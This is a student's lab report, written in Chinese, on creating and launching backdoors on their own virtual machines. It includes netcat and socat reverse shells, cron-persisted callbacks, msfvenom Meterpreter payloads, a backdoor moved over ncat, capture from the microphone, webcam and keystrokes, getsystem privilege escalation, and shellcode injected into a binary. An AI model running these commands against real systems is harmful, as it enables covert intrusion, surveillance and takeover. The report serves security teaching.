一、實驗內容
1.實驗目標
(1)使用netcat獲取主機操作Shell,cron啟動某項任務(任務自定)
PS:cron是linux下用來週期性的執行某種任務或等待處理某些事件的一個守護程序
(2)使用socat獲取主機操作Shell, 任務計劃啟動
(3)使用MSF meterpreter(或其他軟體)生成可執行檔案(後門),利用ncat或socat傳送到主機並執行獲取主機Shell
(4)使用MSF meterpreter(或其他軟體)生成獲取目標主機音訊、攝像頭、擊鍵記錄等內容的後門,並嘗試提權
(5)使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連線Shell。
2.問題回答
- 例舉你能想到的一個後門進入到你係統中的可能方式?
(1)下載來源不可靠的檔案;
(2)訪問受感染的網站或社交媒體連結;
(3)插入不明來源的隨身碟;
(4)在釣魚網站上點選不安全的連結。 - 例舉你知道的後門如何啟動起來(win及linux)的方式?
(1)在Windows系統中:利用windows啟動項啟動後門、利用windows服務啟動後門、利用定時任務啟動後門等;
(2)在Linux系統中:利用cron或at等定時任務工具啟動後門、利用自啟動指令碼啟動後門、利用利用SSH隧道啟動後門、利用反彈Shell啟動後門等。 - Meterpreter有哪些給你映像深刻的功能?
能獲得目標主機的shell、攝像頭和麥克風許可權、進行截圖並獲得鍵盤記錄等,能夠竊取大量的隱私資料,網路防護工作真是任重道遠。 - 如何發現自己有系統有沒有被安裝後門?
(1)使用防毒軟體進行全盤防毒掃描;
(2)使用cmd檢視是否有可疑IP在進行外網連結;
(3)檢查系統日誌的系統和安全部分,檢查是否有可疑程式。
二、實驗過程
1.使用netcat獲取主機操作Shell,cron啟動某項任務
(1)檢視主機的ip
首先關閉主機和虛擬機器的防火牆,在windows主機上下載ncat程式,並開啟cmd,輸入ipconfig指令檢視主機的IP地址:
(2)使用netcat進行連線並獲取shell
- 虛擬機器登入root使用者(後續操作需要使用root許可權),主機cmd進入ncat所在目錄。
- Win主機輸入指令:ncat.exe -l -p 2311(l表示listen,“監聽”;p表示port,指定埠,埠號可自行指定)
- Linux虛機輸入指令:nc 172.16.178.98 2311 -e /bin/sh(nc即netcat,後面的引數是要連線的ip和port,-e是指定連線後執行的程式,本例中就是shell。)
win主機輸入ls,若能夠正常顯示虛擬機器下檔名,證明主機已成功獲取虛擬機器shell。
(3)透過設定cron使得kali啟動定時任務。 - cron是linux下用來週期性的執行某種任務或等待處理某些事件的一個守護程序。注意:windows不能直接使用crontab -e遠端編輯,會報錯;
- 我們這裡進入虛擬機器的虛擬機器的root賬戶,輸入crontab -e (執行文字編輯器來設定時程表),選擇的是2:/usr/bin/vim.basic;
- 輸入後進入文字編輯器,輸入指令30 * * * * /bin/netcat 192.168.31.233 8888 -e /bin/sh (輸入自己主機的IP地址,在每小時的第30分鐘啟動任務)
- 編輯好後退出文字編輯器,輸入crontab -l檢視時程表:
- 同時在Linux主機中的/var/spool/cron/crontabs檔案中會出現一個root檔案。
- 現在回到Windows主機的cmd中進行操作,還是一樣與Linux建立連線之後,切換到root模式,輸入:
echo "* * * * * echo "20222311" > /home/wshkali/2311_1.txt" > /var/spool/cron/crontabs/root(每分鐘定時執行一次,用“20222311”覆蓋檔案2311_1.txt) - crontab -l (檢查時程表)
進入Linux虛擬機器進入對應路徑檢查2311_1.txt檔案,發現修改成功。
2. 使用socat獲取主機操作Shell,任務計劃啟動 - Socat與netcat類似,但比起netcat,socat功能更多,比如如建立ssl連線。
- windows主機:下載socat,cmd進入socat資料夾,輸入命令:
socat.exe tcp-listen:2311 exec:cmd.exe,pty,stderr(把cmd.exe繫結到埠2311,並把cmd.exe的stderr重定向到stdout) - Linux虛擬機器:進入root使用者,輸入命令:
socat - tcp:192.168.1.110:2311
- 回到主機,我們需要事先準備一個程式以供執行,在此省略程式編寫環節
- 在Linux上啟用Windows的程式,透過命令列建立任務計劃,在shell裡輸入命令:schtasks /create /sc minute /mo 1 /tn "20222311" /tr C:\Users\Petrichor\Desktop\20222311.exe每一分鐘執行一次我寫的這個程式:)
- 回到windows主機,開啟計算機管理,看到正在執行的任務名“20222311”,說明實驗成功。
3.在Linux下使用MSF meterpreter生成可執行檔案,利用ncat或socat傳送到Windows主機並執行獲取主機shell
- 保證windows的實時保護處於關閉狀態,同時關閉防火牆進行實驗。
(1)生成後門檔案
- 首先在kali中輸入ifconfig,獲得虛擬機器的IP地址:
- 虛擬機器的IP地址是192.168.1.111
- 繼續中輸入以下命令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.111 LPORT=2311 -f exe > 2311backdoor.exe(使用msfvenom 工具生成一個反向 TCP Meterpreter shell 的 payload,並將其儲存到一個可執行檔案中。) - LHOST=192.168.1.111是shell 連線的主機 IP 地址,在本實驗中是虛擬機器的IP地址;
- LPORT=2311是攻擊者的系統上監聽的埠號;
- -f exe指定了生成的 payload 的格式,這裡是exe;
- 2311backdoor.exe即生成的惡意可執行檔案(名稱自擬)
(2)將後門檔案傳輸至目標主機
- 主機進入ncat所在目錄下,輸入指令:
ncat.exe -lv 2311 > "C:\Users\Petrichor\Desktop\2311backdoor.exe"(監聽2311視窗等待接收可執行檔案2311backdoor.exe,並將2311backdoor.exe檔案存放在桌面上)
- 虛擬機器上輸入指令:
nc 192.168.1.110 2311 < 2311backdoor.exe(將生成的後門檔案2311backdoor.exe傳給主機) - Win主機接收到後門檔案2221backdoor.exe,成功在桌面找到檔案
(3)配置監聽模組
- 回到虛擬機器,在Kali終端輸入命令msfconsole,然後對監聽模組進行配置:
- use exploit/multi/handler(使用監聽模組,設定payload)
- set payload windows/meterpreter/reverse_tcp (使用和生成後門程式時相同的payload)
- set LHOST 192.168.1.111 (攻擊機的IP地址,和生成後門程式時指定的IP相同)
- set LPORT 2311(監聽的埠)
- 接著輸入exploit,使監聽模組開始執行,並在Windows終端執行後門2311backdoor.exe檔案
- 返回檢查虛擬機器,輸入ls檢視windows主機目錄,確認已經連線。
4.使用MSF meterpreter(或其他軟體)生成獲取目標主機音訊、攝像頭、擊鍵記錄等內容,並嘗試提權
(1)獲取目標主機音訊、截圖、攝像頭、鍵盤記錄
- 在exploit模組中繼續輸入以下命令:
record_mic (音訊)
screenshot (截圖)
webcam_snap (拍照)
keyscan_start (開始讀取鍵盤記錄)
keyscan_dump (讀取鍵盤記錄結束)
- 音訊截圖和拍照被儲存在root文件中,鍵盤記錄的字串將直接顯示在命令欄上
(2)提權
- 確保windows的cmd指令是使用管理員身份執行的,繼續在exploit模組中繼續輸入:
getuid (檢視當前使用者)
getsystem (提權指令)
5.使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連線Shell
- 在kali命令列下輸入:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.111
LPORT=2311 -x /home/wshkali/Desktop/pwn20222311-1 -f elf > 20222311_pwn
(使用了msfvenom 工具生成一個 Meterpreter 反向 TCP shell的 payload,並將其注入到指定的可執行檔案中,然後將結果輸出到一個名為 20222311_pwn的檔案中。)
- 對生成的20222311_pwn檔案賦予許可權:
- 輸入指令msfconsole,重現監聽過程:
- 開啟另一個shell,執行生成的20222311_pwn檔案(需要使用root許可權)
- 回到第一個shell,輸入ls確認連線,成功實現遠端控制shell
三、實驗中遇到的問題及解決辦法
- 問題1:在使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連線Shell時,我用root許可權輸入輸入:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.111
LPORT=2311 -x /home/wshkali/Desktop/pwn20222311-1 -f elf > 20222311_pwn
這個程式碼,其生成的20222311_pwn檔案在root資料夾中,導致我後續開啟這個檔案的操作報錯。
解決方法:我重新在kali命令列下執行了這個程式碼,實驗得以成功 - 問題2:一開始我在window上使用nc -l -p 2311這個程式碼報錯
解決方法:我改進了程式碼,使用ncat.exe -l -p 2311得以成功執行 - 問題3:socat實驗中在Windows機cmd端schtasks /create /sc minute /mo 1 /tn "20222311" /tr C:\Users\Petrichor\Desktop\20222311.exe執行錯誤
解決方法:格式錯誤,每個指令(如/create,/mo 1等)前都需要附帶空格鍵。修改後得以成功
四、實驗體會
- 在這次網路安全實驗中,我深刻體會到了網路安全的重要性和複雜性。透過實踐,我學習了Linux下的cron作業排程器,這讓我瞭解到瞭如何自動化執行日常任務,比如定期備份資料和更新系統。這種自動化不僅提高了效率,也增強了系統的安全性。
- 我還學習了netcat和socat這兩個網路工具的使用,它們在網路通訊和除錯中扮演著重要角色。透過這些工具,我能夠更好地理解網路資料的傳輸和處理過程,這對於維護網路的穩定性和安全性至關重要。
- 此外,透過模擬惡意軟體的分析和防禦,我提高了對潛在網路威脅的認識。我學會了如何使用各種工具來檢測和防禦這些威脅,這對於保護我們的數字資產至關重要。
- 最後,透過學習緩衝區溢位和Shellcode的注入,我更加明白了這些高階攻擊手段的工作原理。雖然這些技術在網路安全領域有著重要的應用,但它們也應該被用於防禦,而不是攻擊。
- 總的來說,這次實驗不僅提高了我的技術技能,也加深了我對網路安全重要性的理解。我認識到,作為一名網路空間安全專業的學生,我們有責任使用這些技能來保護網路環境,而不是濫用它們。網路安全是一個不斷髮展的領域,我們需要不斷學習和適應新的威脅和挑戰。